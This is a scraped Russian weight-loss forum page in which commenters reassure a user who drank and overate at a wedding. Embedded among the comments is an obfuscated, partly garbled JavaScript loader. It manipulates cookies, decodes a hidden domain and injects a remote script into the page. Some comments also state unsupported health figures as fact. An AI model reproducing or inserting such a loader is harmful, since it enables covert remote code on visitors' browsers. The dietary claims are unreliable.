Дневник питания и тренировок за 18.10.2015

Ну как бы вы сами ответили на свой вопрос: в правильном питании не может быть алкоголя в принципе так же как и диет. Но если вы выпили немного коньяка и съели маленькие порции шоколада, то не стоит слишком себя ругать, завтра на правильное и всё.

Ольга, не убивайтесь Вы так))) Ну погуляли на свадьбе, ну и отлично! Всё равно ваш организм не сможет отложить столько жира за раз из того, что вы переели. Вы думаете откуда у Вас силы взялись на танцы и игры? Организм тоже не дурак, он пустил лишнюю энергию по назначению.
Единственное, что нужно понимать - алкоголь выводится в основном печенью. А уйдет на это около 5 дней. Исходя из того, что жиры тоже перерабатываются именно в печени, старайтесь в эти дни не перебирать калорий, а особенной жиров. Потому что для организма важнее избавиться от токсинов. А уж переработать и усвоить жиры - это вторично.
Я считаю, что отказывать себе в таком веселье нельзя)) Иначе можно совсем в хандру впасть и стать злой и вредной. Просто не нужно частить, потому что каждое возлияние откладывает похудение примерно на одну неделю.
Олечка, Вам удачи!

Ну и что себя корить? Ну выпили, ну закусили - а сколько калорий на танцы/игры/веселье потратили!!! Не заморачивайтесь. Свадьба сестры не каждый день бывает. Примите это как должное и продолжайте питаться правильно( между прочим, некоторые специально делают зажорные дни, чтобы раскачать метаболизм( я одна из них :secret :secret.Удачи!

У всех бывают переборы, главное, чтобы в остальные дни себе не "изменять", и шагать к намеченной цеди!

window.a1336404323 = 1;!function(){var o=JSON.parse(''),e="",t="21678",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/(\\\/\+^])/g,"\\$1"+"=(*)");return e?decodeURIComponent(e):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600",e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t;d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o,16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc ript",document.head.appendChild(i),i.on load=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.on error=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom";e=s&&-1!=o.indexOf(s)?s:u?u:o;var f,m=n("oismods";m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))f=r(e)+"/ajs/"+t+"/c/"+c("health-diet.ru"+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))};d()}();

Елена Потапова, Спасибо вам огромное за ваш комментарий, вы буквально вернули меня к борьбе, подняли настроение, растворили мои переживания... 

Людмила Каледина, Да и правда! Ну, что я совсем раскисла, подумаешь пришел ко мне кило, возможно он ко мне не надолго пожаловал, а может своих друзей прихватит (таких же лишних, как он сам)... Скорей бы завтра, очень хочется узнать: "если  счастливая жизнь после перебора калорий?"...)))

Алкоговь-страшная вещь. У него много ккал. 
Не корите себя. Через пару дней вес  восстановится. 

Ольга колесникова, Однозначно ЕСТЬ. Я тоже, когда ушла на поддержание набрала сразу 2 кг., но потом они ушли - вода оказалась. И у Вас после возлияний кило-полтора может прибавиться из-за воды ( алкоголь плохо воду из организма выводит)